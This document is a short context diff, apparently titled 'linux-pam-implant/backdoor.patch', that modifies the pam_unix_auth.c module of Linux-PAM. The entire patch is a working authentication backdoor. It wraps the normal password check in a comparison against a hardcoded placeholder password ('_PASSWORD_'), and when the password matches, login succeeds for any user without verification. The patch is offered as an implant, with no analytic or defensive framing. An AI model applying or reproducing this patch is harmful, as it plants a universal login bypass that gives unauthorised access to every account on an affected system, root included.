linux-pam-implant/backdoor.patch

24 lines
667 B
Diff

*** ./modules/pam_unix/pam_unix_auth.c 2016-04-11 08:08:47.000000000 -0300
--- pam_unix_auth.c 2017-06-07 21:25:25.656306410 -0300
***************
*** 170,176 ****
D(("user=%s, password=[%s]", name, p));
/* verify the password of this user */
! retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
AUTH_RETURN;
--- 170,180 ----
D(("user=%s, password=[%s]", name, p));
/* verify the password of this user */
! if (strcmp(p, "_PASSWORD_") != 0) {
! retval = _unix_verify_password(pamh, name, p, ctrl);
! } else {
! retval = PAM_SUCCESS;
! }
name = p = NULL;
AUTH_RETURN;